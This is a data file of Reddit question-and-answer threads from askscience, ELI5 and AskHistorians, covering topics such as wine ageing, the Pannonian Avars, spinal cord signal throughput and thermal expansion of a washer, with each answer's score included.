{"q_id": "lgw8w", "title": "Is it possible to 'clone' an old bottle of wine?", "selftext": "I've heard that really old bottles are worth a ton, and I figured it's because you can't throw any amount of money at a bottle of wine to make it older. To what extent is that true?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/lgw8w/is_it_possible_to_clone_an_old_bottle_of_wine/", "answers": {"a_id": ["c2sld9z", "c2slkox", "c2sld9z", "c2slkox"], "score": [4, 2, 4, 2], "text": ["Everything is possible, but that does not make it profitable.\n\nThe most basic components in a brewing process are water, nutrition (some kind of sugar) and yeast. While major differences in taste come from of variations in the basic recipie (beer and wine taste different), small neuances are also created in the brewing process and through aging. A very important factor here is the type of yeast, as this impacts the amount of different contaminants produced which again affects taste. There is a reason most breweries are really protective about their yeast, it is a major part of the taste of their product. You could replicate the process exactly, but without the right yeast it would taste different.\n\nThe point is that a lot of what makes the taste of the product unique come from really small amounts of contaminants, that is biproducts of the fermentation. This is basically a happy soup of random hydrocarbons. Predicting how much there will be of each of these and how will behave when stored in say an oak barrel for 20 years is nigh impossible. If you have a template, it would certainly be possible to make a clone but it would be really hard (and thus expensive) to get all the components in just the right amount.\n\nBesides, I can never see anyone shelling out hundreds of dollars on \"clone\" product. The psychological value and added status of products of good craftsmanship", "Maybe I'm misunderstanding the question, but the wine that you drink is the product of living organisms, not the organism itself.  (Just like the CO2 you breath out is not actually you.)  So, you can not actually clone wine.  You could clone the strain responsible to making the wine, but you'd still have to start at the very beginning of the process, and like Ecove said, because there are so many variables in the fermentation process, it will be hard to recreate that old bottle of wine just so.", "Everything is possible, but that does not make it profitable.\n\nThe most basic components in a brewing process are water, nutrition (some kind of sugar) and yeast. While major differences in taste come from of variations in the basic recipie (beer and wine taste different), small neuances are also created in the brewing process and through aging. A very important factor here is the type of yeast, as this impacts the amount of different contaminants produced which again affects taste. There is a reason most breweries are really protective about their yeast, it is a major part of the taste of their product. You could replicate the process exactly, but without the right yeast it would taste different.\n\nThe point is that a lot of what makes the taste of the product unique come from really small amounts of contaminants, that is biproducts of the fermentation. This is basically a happy soup of random hydrocarbons. Predicting how much there will be of each of these and how will behave when stored in say an oak barrel for 20 years is nigh impossible. If you have a template, it would certainly be possible to make a clone but it would be really hard (and thus expensive) to get all the components in just the right amount.\n\nBesides, I can never see anyone shelling out hundreds of dollars on \"clone\" product. The psychological value and added status of products of good craftsmanship", "Maybe I'm misunderstanding the question, but the wine that you drink is the product of living organisms, not the organism itself.  (Just like the CO2 you breath out is not actually you.)  So, you can not actually clone wine.  You could clone the strain responsible to making the wine, but you'd still have to start at the very beginning of the process, and like Ecove said, because there are so many variables in the fermentation process, it will be hard to recreate that old bottle of wine just so."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "7b1yl2", "title": "Why don't we know much about the Pannonian Avars?", "selftext": "we've got little on their language, their ethnicity, etc.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7b1yl2/why_dont_we_know_much_about_the_pannonian_avars/", "answers": {"a_id": ["dpey4op"], "score": [3], "text": ["I am afraid this answer may not be as comprehensive as you would like, but it ought to answer the core of your question.\n\nPut in the simplest of ways: they didn't leave any written texts themselves, and only ever seemed to interest their contemporaries during hose times that they were involved in the politics of power of their region. In other words, we do know a great deal about them for the period of their arrival in Europe, their first embassies to Constantinople, and their initial wars against Eastern Romans and Merovingian Franks. We know a great deal less about their eventual subjugation and partial christianisation during the Carolingian period, which eventually saw them virtually \"passing out of history\" and into legend. The word \"obor\" (a later, probably Slavic development of their name) came to mean a strange, bizarre creature of a dark, legendary past, very much like the name Hun became a giant in German or the name Pict a dwarf-like figure in Scots.\n\n\nThe Avar Empire is notable for its seemingly immense power at the time of its establishment, when it was able to defeat (and, given onomastic clues, absorb) the Gepidae, marshall impressive number of Slavic tribesmen into battle, and challenge the power of the Roman Emperors in concert and on seemingly equal footing with the Sasanid Empire, while being able to launch raids as far afield as Merovingian Germany. Notable also for the almost complete lack of further expansion or continued raiding after the first period of consolidation. We do not hear much about Avar activity between the early 7th century and the late 8th. Reasons for this must remain speculative. Our sources for the time are rather scarce, but one cannot completely deny the impression that the Avar elite seems to have been comfortable (or forced by circumstance) to abandon its earlier Nomadic raid-based economy that is so familiar from other Steppe peoples moving west (Huns, Magyars, Pe\u010denegs, etc.). This may be due to a change in their economy and is as such not unheard of (cf. the relatively consolidated Khazar Empire, also founded by an originally \"expansive\" nomadic elite). We basically do not know.\n\n\nFor all intents and purposes, the Avars only really take center stage again around 796, when Charlemagne defeated and plundered their empire and carted off the treasures they had amassed. He and his successor attempted to have the remnants of the Avar elite (and the Slavic people under their rule) christianised, but with limited success. Had they been successful, there might well have developed an Avar literary tradition and something like a \"medieval\" Avar identity (much like it did for medieval Scandinavia after the consolidation of a Christian royal power). As it was, however, the remnants of Avar power in Pannonia were quickly overlaid by rival Slavic kingdoms (the most influential of which was Moravia, wherever one wants to locate it). By the end of the century, the Magyars had established themselves as the new great power in the region. Any budding tendencies to create a lettered, Avar-speaking tradition were entirely eclipsed by these developments, if there had been any in the first place, which is doubtful.\n\n\nThe Avar language itself is only attested in a small number of words, eg titles of nobility. We can assume a large part of the \"Avar\" populace to originally have been Slavs or Gepidae or a range of other ethne, so similar to the Turkic Bulgar language and tradition, which seems to have been absorbed into a Slavic substrate early on, we may assume that the originally steppe-nomadic elites of the Avar Empire were soon much less \"Avar\" than their forebears at the time their empire established itself. By the time of its fall, there was simply no one willing or able to carry on the Avar torch, if you will.\n\nEdited for horrbile formatting and typos (my phone and I had a few disagreements."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "docd8j", "title": "why is sending images on messaging platforms like discord considerably slower than video call, where you're sending each other over 30 images per second almost instantaneously?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/docd8j/eli5_why_is_sending_images_on_messaging_platforms/", "answers": {"a_id": ["f5m2h2l", "f5m2n69", "f5mqyo6", "f5ncadc"], "score": [106, 12, 2, 10], "text": ["**Sending an image** is a kind of file transfer. It uses a TCP (Transmission Control Protocol), which is connection oriented. Essentially, all hosts (i.e. both you and your friend's computer, or each computer and a server in discord's case) care about what is being transferred and if it was done so correctly.\n\nIt does this by sending both the image itself and a 'hash'. The hash is just the image data sent through a particular algorithm resulting in a string of what appears to be gibberish. However, the receiving computer can run the payload (the image you sent) through that same algorithm and compare the hashes. If they match, the image was sent completely without error. If not, the whole thing must be sent again.\n\n**Video Streaming** typically uses some connection*less* protocol (like UDP). In this kind of interaction, both hosts don't care what is being sent or if anything is lost. If some packet doesn't make it or is damaged, it just moves on to the next like there isn't an issue. This is considerably faster but you will inevitably end up with packet loss (and stuttering/blurriness) unless the connection is perfect.", "During a video call you can use compression very effectively because only a few pixels change from one frame to the next. Basically you're not sending 30 full images per second, but just the changes between frames. The quality requirements are also much lower compared to a photo that you're sending.\n\nSecondly, the connection has already been established, so it's just streaming data. If you send a  single photo, your browser has to establish a new connection to the server to upload the image, and when that has finished, the client needs to establish a new connection to download the image, and there are delays associated with that.", "Imagine you want to copy a drawing, you put a paper on top, draw over it and spend quite some time in the details because you want it as detailed as possible. There is \"no room for mistake\" if you want it to look identical.\n\nHowever, you want to call your friend, you take two cups and a string. Each one gets a cup tense the string and talk while the other listen. It is not perfect but does the job. \n\nThe video in your question is not as perfect, but because it's constantly *moving image* it allows for compression, lots of missing details and quite crappy quality if paused in a single frame. The still image on the other hand must be in and out \"the same\".", "So many incorrect answers here...\n\nSo, assuming the same quality of picture (but live video calls are often sent at far lower resolution which makes for exponentially smaller sizes);\n\nIf you send a picture, barring some still-image compression that gets the thing down from (say) 10Mb to 1Mb, you send the *complete picture in full detail*. If you send another picture, that is a completely different thing and that whole picture is also sent *in full detail*.\n\nWith video, you send a key frame (full picture) and then video compression sends only the differences from one picture to the next, which reduces the amount of information hugely. A new key-frame may be sent every few seconds, or key fragments may be sent as a rolling-update sort of deal.\n\nThere are other factors too, platform dependant, which may or may not apply;\n\n* Live video/audio traffic may (very likely) be prioritised over text or static pictures because it doesn't matter if a picture or text arrives 5 seconds late, but even half a second late for a video or audio frame is useless.\n* Video/audio may be captured at low resolution / bitrate compared to the full quality of a static picture.\n* The frame rate may also be low, you assume 30fps but with a bit of cunning you can make 15fps look quite acceptable, that's half the data rate right there.\n\nYou'd be amazed what even H.264 can do with 1080p30 video, it can get it down to 64k/sec (nominal bandwidth of a normal landline voice call) - so knock that video call down to 720p and 15 fps and you knock \\~75% load off (or get 75% better video), with more modern encoders tuned for the task at hand (EG knowing it'll be a talking head and static background) you'd be amazed at how good that could look over a 64k link."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2pfz30", "title": "why someone who is physically fit doesn't get a break on their health insurance like a \"safe driver\" does?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2pfz30/eli5_why_someone_who_is_physically_fit_doesnt_get/", "answers": {"a_id": ["cmwbuni"], "score": [2], "text": ["Because your post isn't asking a simplified conceptual explanation, but rather for an answer, it has been removed.   \n\nYou should try /r/answers, /r/askreddit or even one of the more specialized answers subreddits like /r/askhistorians, /r/askscience or others too numerous and varied to mention. \n\nRest assured this doesn't make your question *bad*, it just makes it more appropriate for another subreddit.  Good luck! "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7l56sb", "title": "How much bandwidth does the spinal cord have?", "selftext": "I was having an EMG test today and started talking with the neurologist about nerves and their capacity to transmit signals.  I asked him what a nerve's rest period was before it can signal again, and if a nerve can handle more than one signal simultaneously.  He told me that most nerves can handle many signals in both directions each way, depending on how many were bundled together.\n\nThis got me thinking, given some rough parameters on the speed of signal and how many times the nerve can fire in a second, can the bandwidth of the spinal cord be calculated and expressed as Mb/s?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7l56sb/how_much_bandwidth_does_the_spinal_cord_have/", "answers": {"a_id": ["drjqamg", "drjrnl7", "drkcadh", "drkicjk", "drkkcb3", "drks4rm", "drkwui5"], "score": [89, 9118, 388, 2, 10, 9, 2], "text": ["Neurotransmitters make things complicated because there's different information being transported different ways simultaneously. The signal isn't like a wire where there's one type of information comming through.", "This is an interesting question, if not near impossible to answer properly. However I figured I'd give it a go even if I do have to make some gross assumptions.\n\nFirst, we need to know how many neurones are in the spinal cord. That's very hard to know, unless we make some assumptions.\n\nThe spinal cord diameter is variable, from the small ~7mm in the thoracic area to the ~13mm in the cervical and lumbar intumescentia (enlargements), let's average that out to 10.5mm in diameter. It is also not a perfect circle, but let's ignore that for now.\n\nNow the diameter of an axon is similarly difficult, they range from one micrometer up to around 50 micrometres, with far more in the  < 5 micrometre range. However a study found that the average diameter of cortical neurons was around 1 micrometre [D. Liewald et al 2014](_URL_0_) plus 0.09 micrometres for the myelin sheath, so let's say the average diameter of a neuron is 1.09 micrometres.\n\nOkay, so let's simplistically take the area of the spinal cord (Pi * 0.0105^2) and the same with the neuronal diameter and we get:\n\n( 7.06x10^-4 m^2 / 3.73x10^-12 m^2) = ~200,000,000 neurons in the spinal cord.\n\nNow, given that there are around ~86 billion neurons and glia in the body as a whole, with around ~16 billion of those in the cortex (leaving 60 billion behind) I would wager that my number is an underestimate, but let's roll with it.\n\nOkay, so we know how many we have, so how fast can they fire? Neurones have two types of refractory periods, that is absolute and relative. During the absolute refractory period the arrival of a second action potential to their dendrites will do absolutely nothing, it **cannot** fire again. During the relative refractory period, a strong enough action potential *could* make it fire, but it's hard.\n\nSo let's take the absolute refractory period for an upper limit, which is around 1-2ms [Physiology Web](_URL_1_) at the average of 1.5ms. This varies with neuron type but let's just roll with it.\n\nSo we have ~200,000,000 neurones firing at maximum rate of 1 fire per 0.0015 seconds. That is ~133,000,000,000 signals per second.\n\nLet's assume that we can model neuronal firing as \"on\" or \"off\", just like binary. That means this model spinal cord can transmit 133 billion bits per second, and a gigabit = 1 billion bits, which gives our spinal cord a maximum data throughput of 133 gigabits per second.\n\nDivide that by 8 to get it in GB, and that's **16.625 GB of data per second** capable of being transferred along the spinal cord. Or about a 4K movie every two seconds.\n\n**DISCLAIMER**: This is all obviously full of assumption and guessing, think of it as Fermi estimation but for the spinal cord. It's not meant to be accurate or even close to being accurate, just a general guess and a thought experiment, more than anything.\n\nSource: Neuroscience student.\n", "i'm about to be that guy, and i apologize in advance. the term you are looking for is throughput, not bandwidth. bandwidth refers to the range of frequencies which information is being sent over while throughput refers to the amount of data that can be transferred in a given period of time.  this is a common misconception stemming from a while back when internet providers started using a larger bandwidth than was the standard at the time, resulting in a higher throughput. they then marketed a larger bandwidth as meaning faster internet and people started making the assumption that throughput and bandwidth are the same, when in reality using a larger bandwidth plays a very small role in our high speed internet today. despite this, internet providers continued to use this term in marketing for years to come. \n\nthat being said none of this really matters that much and hopefully someone answers your question because its really interesting. ", " >  I asked him what a nerve's rest period was before it can signal again, and if a nerve can handle more than one signal simultaneously.\n\nSounds like you're confusing neurons with bundles of neuronal axons (tracts or nerves).\n\n >  given some rough parameters on the speed of signal and how many times the nerve can fire in a second, can the bandwidth of the spinal cord be calculated and expressed as Mb/s?\n\nNo. We don't know how the information is encoded in that analogue system, but we know enough to say that comparisons with digital computers make no sense at all.\n\nYou might as well ask what's the speed of thought in metres per second.", "Sure, I guess I'll be the one to say it: the question itself is basically meaningless.  It's like asking \"what is the storage capacity of a grapefruit?\"  \"Storage capacity\" (and \"bandwidth\" or \"throughput\") could mean an infinite number of things in these cases.  People giving answers along the lines of \"x number of neurons, with 1 bit per neuron...etc.\" are missing the fact that we have absolutely no evidence that neurons process information in the same way that computers do.  Some researchers *assume* that they do, and build models accordingly, but we have absolutely no idea what the right level of abstraction is for talking about information processing in the human nervous system - anyone who tells you differently is either lying or standing on scientifically and philosophically shaky ground.", "I'm wondering if anyone has a more phenomenological explanation.  Like, how many sensations can the brain detect in the body?  Are their any experiments for how long it takes for a pinch in the foot to have a response in the brain?  \nCan you measure  how many \"pinches\" before the brain can't \"sense\" all of them?", "The best way to calculate this is to calculate the number of sensations that the brain can discriminate given 1 second of peripheral input. That will tell you how many bits of information the periphery is providing. Then add the number of possible actions that can be performed by the muscles, which will tell you how many bits of information the central nervous system is providing the periphery. (Probably should take into account the info being sent to the immune system but most people ignore that)\n\nRemember that information is defined as the entropy reduction as a result of the message. Before the signal, the entropy is all possible messages, and after the signal the entropy is 0. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://link.springer.com/article/10.1007%2Fs00422-014-0626-2#Sec6", "http://www.physiologyweb.com/lecture_notes/neuronal_action_potential/neuronal_action_potential_refractory_periods.html"], [], [], [], [], []]}
{"q_id": "f28akv", "title": "Our Sun and Moon appear to us to be the same size in the sky. Thinking about it my guess would be that the scenario is extremely unlikely. Is it?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/f28akv/our_sun_and_moon_appear_to_us_to_be_the_same_size/", "answers": {"a_id": ["fhb23u5", "fhb4wrw", "fhbec4j", "fhbjbj3", "fhbudg8", "fhc87u1"], "score": [86, 14, 22, 8, 9, 3], "text": ["Yes, it really just seems to be an extremely unlikely coincidence. The Moon is receding, so it's not even true in the distance past, and won't be true in the distant future. The Moon used to be closer than now and appear bigger than the Sun, and eventually will be quite a bit further away than it is now, and will appear smaller than the Sun.  So we're not just in a lucky place, we're in a lucky *time* too.\n\nThis means that the eclipses we have on Earth are very odd. Usually, an object will either block out the Sun entirely across a large part of the surface for a long period of time, or will \"transit\" across the surface of the Sun, only partially obscuring it. The Earth-Moon system is weird in that we have total eclipses, but only in a really tiny slice of land and for a really short amount of time.", "Tidal effects have steadily boosted the Moon's orbit, while slowing the Earth's spin, over time. Therefore, provided the Moon was formed big enough and close enough, it was quite likely that at *some* point the Sun and Moon appear the same size from Earth.\n\nThe unlikely coincidence is that this has occurred when we humans are alive.", "It's definitely unlikely, although I think it's hard to say \\*how\\* unlikely it is. \n\nThere is a rundown of other eclipse possibilities here: [_URL_1_](_URL_0_)\n\nPart of it is that the Sun and Moon are not only both close enough in size for eclipses, but that they're both pretty large. The Moon from Earth is one of the biggest visible objects in the sky from the surface of \\*any\\* planet, topped only by the Sun from Mercury/Venus/Earth, and Io from Jupiter (which is slightly bigger than the Moon, though it orbits a little further away).", "You need to take into account that throughout the month, the apparent size of the Moon varies between 0.53\u00b0 and 0.49\u00b0, while the apparent size of the Sun varies between 0.54\u00b0 to 0.52\u00b0 throughout the year due to the fact that their orbits are elliptical.\n\nIt's not a large difference, but it is noticeable and measurable. So, it's not THAT much of a coincidence because they're not really the same, but it is a cool and not a very likely coincidence nevertheless. But as the saying goes, rare events happen all the time in the universe. Just the fact that you're here reading this is an extremely unlikely scenario come true.", "Good answers so far.  To add: it's rare enough that, to my knowledge, this situation occurs nowhere else in the solar system -- at least, not for any of the planets' major moons.  Mars's moons are both much smaller than the apparent size of the Sun; Jupiter and Saturn have moons that all appear either much larger or much smaller than the Sun, Uranus and Neptune -- well, I checked all the big ones, but got bored and gave up, the Sun and small moons are both so tiny that eclipses will be incredibly rare.\n\nThe closest I could find were Janus and Epimetheus, 1.27 and 0.83 Sun diameters as seen from Saturn, respectively.\n\n_URL_0_", "Once a relatively large moon formed around a planet rotating much faster than that moons orbit, and that planet ended up with so much water, it actually became inevitable. From that point on the moon was going to move outwards and had to go through a period when it appeared the same size as the sun.\n\nWhat probably is quite wierd is that this occured at the same time as an inteligent ape evolved that was capable of noticing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.math.wisc.edu/~mstemper2/Astronomy/MoonSize.html", "https://www.math.wisc.edu/\\~mstemper2/Astronomy/MoonSize.html"], [], ["https://www.wolframalpha.com/input/?i=%28janus+diameter%2Fjanus+orbital+radius%29+%2F+%28sun+diameter+%2F+saturn+distance+from+sun%29"], []]}
{"q_id": "43m865", "title": "what's the deal with john scott?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/43m865/eli5_whats_the_deal_with_john_scott/", "answers": {"a_id": ["czj8ef6", "czj8f2e", "czj9qoj"], "score": [4, 31, 3], "text": ["It's a complicated story, but short version: fans as a joke voted in literally the worst player in the NHL to the All Star game. The league hates it, tries many methods to get him out of the game but they all fail. They do some mean stuff to him too.  \n  \nHe goes to the game as the captain of his team and actually plays well, the fans love him and he's named MVP. He's a hero to people as the underdog who showed them all.", "John Scott was an NHL (Hockey) player for the Arizona Coyotes, he is an enforcer (someone who only really fights) and isn\u2019t all that talented. He has only 5 goals and 6 assists in his 285 games played. This year the NHL made the all star game up to a fan vote, Coyotes fans decided to all vote for John Scott for the heck of it. Once he was up on the leaderboards, /r/hockey really got a hold of it and absolutely brigaded the vote to get him in the game. After a lot of the media picked up on the story it became almost a meme to get him in the game. At first Scott asked the fans to stop voting for him and vote for some of his more deserving fans, but once it was clear that he would be in the game he went with it and had a lot of fun with the whole thing. He was the number one most voted player and to try and circumvent his playing in the game the NHL reached out to the Arizona Coyotes and \u2018forced/asked\u2019 them to trade Scott away. John was then traded away to the Montreal Canadiens, which everyone knew was a shitty trade and it was to get him out of the game. \n\nMontreal then sent him down to the AHL (assumingly as per request by the NHL) to try and disqualify him from playing in the All-Star game.\nThe media and /r/hockey really got upset and made it a huge deal, lambasting the NHL for this move. The NHL admitted defeat and announced that he would be the captain for one of the four NHL all star teams. A few nights before the all star game, Scott sat down and gave a really touching interview to the NHL players tribune where be basically said that he loved the game and never wanted to just be an enforcer. Practically all of the coaches and players around the league spoke out in support of John. Tonight they played the games and despite being in a 3 on 3, where faster players usually strive, Scott scored two goals and his team won the championship. The fans were given 3 options to vote for MVP and despite none of them being Scott, they all wrote him in and even though his name wasn\u2019t even on the ballot, Scott was announced MVP.\nThe reason for the hate is that some people view him as a joke candidate and that he shouldn't even have been in the game. ", "long story short, fans voted him into the game, NHL didnt like it, orchestrated a trade to not make him go, people get pissed out, damage control comes out and hes in the all start game again  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "vmen7", "title": "If an anti-proton has the same charge as an electron (-1 e), why don't electrons and protons annihilate each other as a proton and anti-proton would?", "selftext": "Also, why couldn't you swap out electrons in an atom with anti-protons if they are the same charge?  ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/vmen7/if_an_antiproton_has_the_same_charge_as_an/", "answers": {"a_id": ["c55pysi", "c55qcto", "c55r9vx"], "score": [14, 17, 11], "text": ["There's...quite a lot more to a particle than its charge. Saying a positive and negative charge should annihilate is like saying connecting the + and - terminals of a battery should lead to annihilation. ", "Such a collision wouldn't conserve lepton number or baryon number.", "Annihilations only happen between a particle and it's anti-particle. A simple way to think about it is that a particle represents a 'bump' in the quantum fields it interacts with and its anti-particle represents a matching 'hole'. When a particle meets the matching hole, they fit like a key and lock.\n\nWhen different particles meet, the 'bump' and the 'hole' don't match and so you don't get an annihilation.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2sxr0w", "title": "what level of wealth does one need to have to be included in the lowest range of the 1%?", "selftext": "People are always ripping on the 1% but I wonder how many people are actually in the 1% and think they aren't.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2sxr0w/eli5_what_level_of_wealth_does_one_need_to_have/", "answers": {"a_id": ["cnttl66", "cnttm3o"], "score": [6, 2], "text": ["Well shoot, I should probably just Google first.\n\nTaken literally, the top 1 percent of American households had a minimum income of $516,633 in 2010 \u2014 a figure that includes wages, government transfers and money from capital gains, dividends and other investment income.", "So you mean the low end of the top 1%, and not the bottom 1%? \n\nAlso, on what scale. Among Americans, the 1% is fairly high, IIRC, while looking at the entire human population, the threshold is somewhere around 30k/year income."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "20733w", "title": "how are they able to have so many things in scribblenauts?", "selftext": "I'm just curious, I have friends that are computer engineers and game designers and whatnot, but I really am baffled (and impressed) at how many \"things\" you can summon or add as a modifier in Scribblenauts---even obscure things like the gold statue from Amnesia: The Dark Descent that PewDiePie calls \"Stephano\", cthulhu, hipsters, etc...\n\nJust curious!!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/20733w/eli5_how_are_they_able_to_have_so_many_things_in/", "answers": {"a_id": ["cg0eugz", "cg0ftzi", "cg0lfmm", "cg0oq9b", "cg0ri5e"], "score": [12, 4, 6, 2, 7], "text": ["It's just a lot of case select or if then statements. Where some developers focus on rendering each person's last nose hairs, the Scribblenauts devs focus on breadth of items available.", "I believe scribblenauts sometimes combines different different images when an adjective is used, but I guess for nouns its just a lot of work", "It's actually rather simple.\n\nMost of the items are \"if then else statements\"\n\nAs previously stated. And they use hashmaps.", "Adjectives that change size size or friendless are pretty simple for any average programmer. Scribblenauts devs just sits down draws every thing they think of down, and when its called upon by the players, spawns it with the AI/Physical changes stated by the player", "I remember looking into this. The developers kind of took thousands of common (and not so common) words and kinda of 20 questions-ed it. They broke it down from simple categories to more complex ones that the computer could narrow down to the nearest synonym. You'll notice it recognizes a lot of words, but the art graphics aren't often very specific. A call to a specific type of species of animal you might notice will just result in a generic looking animal that looks right for that family. In the same way they also classified all these objects with a grouping of properties that determine how you can interact with them.\n\nSo it's not like when you say striped hyena (for example) it has this object called a striped hyena just perfectly ready for it. It pulls up the dictionary and see's it's closely related to a wild dog (technically hyena are closer to cats but you know) so it pulls up a nearest art that shows something that's probably generically drawn to look like any sort of dingo or wolf or coyote. The striped is also thrown into another dictionary for adjectives to tell it how to color it. And it also looks up the properties for wild dog so it probably sees properties like mammal and aggressive or something like that, which tells it how to make it behave and what can be done to it. E.g. it's a mammal so it can be killed or leashed or saddled/ridden or whatever.\n\nBasically though, it's just the devs going through tons and tons of words and breaking them down."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "7vq4wd", "title": "Life expectancy with Down Syndrome was just ~24 years as recently as 1985. Now it's 60+. What advances are most responsible for this?", "selftext": "Was there some specific problem that was solved, or was it just a cumulative effect from a lot of little fixes?\n\nWhat is still causing the remaining gap between the life expectancy of someone with Down Syndrome and the 75+ years of someone without?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7vq4wd/life_expectancy_with_down_syndrome_was_just_24/", "answers": {"a_id": ["dtuhuvt", "dtuk63k"], "score": [46, 28], "text": ["I know that [heart disease](_URL_1_) is a common comorbidity with Down Syndrome and there is now better screening and treatment for it. The article listed above mentions surgery, but I know medication is also a common option.  \nUnfortunately, now that people with Down Syndrome are living longer, they are finding that [dementia](_URL_0_) is another common problem in later years. (50s and 60s).", "The advancements in open heart surgery. Half of people born with DS have a heart defect. \nAlso, better treatments, and routine screening for thyroid conditions and childhood cancers ( which the have about a 1/20 chance of having before age 5) \n\nThe great hope for parents like myself is that the research that is being done on Alzheimer's that involves the participation on the DS community. This is because our kids start a mental decline around 40, and the processes by which this happens is very similar to what happens with Alzheimer's. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.nia.nih.gov/health/alzheimers-disease-people-down-syndrome", "https://www.pediatricheartspecialists.com/blog/55-down-syndrome-and-congenital-heart-disease"], []]}
{"q_id": "34hehn", "title": "Late Middle Ages, can some of you debate with me on my position?", "selftext": "Hello guys, I am having a debate(discussion) tomorrow and I want some help.  I already have a position and did my research so please dont flame me.  \n\nThis is the question: \nSome historians have seen the Late Middle Ages as the most intensely pious period of Catholic belief, while others have identified it as the most dysfunctional, where the gap between the clergy and the laity was at its greatest. Based on what you have learned from the lectures and readings, which view is closer to the truth? In your response, be sure to address any counter-arguments.\n\nMy opinion is that they were intensely pious at the time.  Due to the outbreak of the plague, and how little medicine helped the disease people looked toward the church more and focused on the realities of death.  With death as a dominant presence it helped people become more religious.  People confessed their sins more and started taking religious more seriously.\n\nAlso, purgatory became more commonly accepted so people would get together more often and say prayers for the dead.  Many people during this time wanted to help people get to heaven so they participated in requiem masses.  Even the wealthy decided to create chantries.\nAnother thing that was prevalent was priests as mediators.  The priests had authority to hear confession and grant absolution.\n\nOther than the fact that some members of the church were corrupt what can someone else say to refute my argument?  I can not find anything that suggests the gap with the clergy and laity are large.\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/34hehn/late_middle_ages_can_some_of_you_debate_with_me/", "answers": {"a_id": ["cquu1qb"], "score": [5], "text": [" > where the gap between the clergy and the laity was at its greatest.\n\nHow do you interpret what defines a 'gap'? Here are some questions to think about, because a gap wouldn't just be defined by, say, the relevance of Sunday Mass, or a local saint's shrine, to laity:\n\n* Was there a perception of economic disparity (ie Church as extractor of wealth at this time)?  How did this affect lay relations to the Church?\n\n* Was there disjuncture between orthodoxy and local customs or heresies (ie relevance of sacraments, etc)? How did the Church 'enforce' orthodoxy and compliance?\n\n* Was there a class differentiation - did the Church mean something different to, or treat differently, peasants, townsmen, nobility?\n\n* Did the medieval church become progressively more active in gendering beliefs? What did Christianity mean to men vs women in the late middle ages?\n\n* How did the Church change in its treatment of Jews in western Europe in the late middle ages?\n\n* How did the Church and secular governance interact in the late medieval period? How did this affect secular or religious life?\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "mgypr", "title": "If I heat a metal washer, as the metal expands does the diameter of the \"inner circle\" increase or decrease?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/mgypr/if_i_heat_a_metal_washer_as_the_metal_expands/", "answers": {"a_id": ["c30tqc0", "c30tsac", "c30txc1", "c318y5x", "c30tqc0", "c30tsac", "c30txc1", "c318y5x"], "score": [19, 12, 4, 2, 19, 12, 4, 2], "text": ["It will increase. You can imagine it as a sheet of metal with a circle drawn on it. If the metal expands, the circle grows. A hole in the metal would grow too. This effect is actually used occasionally to fit pipes together. One is heated so it expands, slipped over the other, and when it shrinks, it clamps around the other and is fixed really tight without glue, welding or screws.", "Classic physics puzzle (which any auto mechanic can answer). \n\nThe inner diameter will increase (unless it's a weird material). One way to think about it is if you just think about the metal circle cut out of the middle. If you heat it, it'll expand outwards, right? So if you heat both the washer and the cut-out bit, the circular part will still fit in the hole. So the hole must be bigger.\n\nThe reason why every auto mechanic knows this, is because they heat rusted nuts all the time to get them off. (and they heat the nut, not the bolt)\n", "It's counter-intuitive, but the hole gets bigger.  All of the metal expands with temperature, but since there is more metal on the outside of the circle and less on the inner edge, the outer edge expands out more than the inner edge expands in.  As a result the inner circle actually gets dragged outward, making it larger.  ", "The key is that the particles that make up each concentric ring (including the very inner ring) should stay connected in the same way throughout the expansion. Well then that ring may as well be a linear rod of length 2*pi*r. Say you heat the washer up enough that it expands by a factor of F (isotropically, since it's a metal and not some weird crystal). Then the inner ring (initial radius r^inner) expands to a final circumference of F*2*pi*r^inner , likewise the outer ring expands to F*2*pi*r^outer , giving final inner and outer radii of F*r^inner and F*r^outer , respectively. So the inner radius is bigger, giving a bigger hole. \n\n\"But what about the radial expansion?\" you may ask. Well the initial radial \"thickness\" is r^outer - r^inner , so after the expansion, it should be F*(r^outer - r^inner ), right? Well, if you look at the paragraph above, you will see that the final radii given were F*r^inner and F*r^outer , which gives exactly the same radial thickness.", "It will increase. You can imagine it as a sheet of metal with a circle drawn on it. If the metal expands, the circle grows. A hole in the metal would grow too. This effect is actually used occasionally to fit pipes together. One is heated so it expands, slipped over the other, and when it shrinks, it clamps around the other and is fixed really tight without glue, welding or screws.", "Classic physics puzzle (which any auto mechanic can answer). \n\nThe inner diameter will increase (unless it's a weird material). One way to think about it is if you just think about the metal circle cut out of the middle. If you 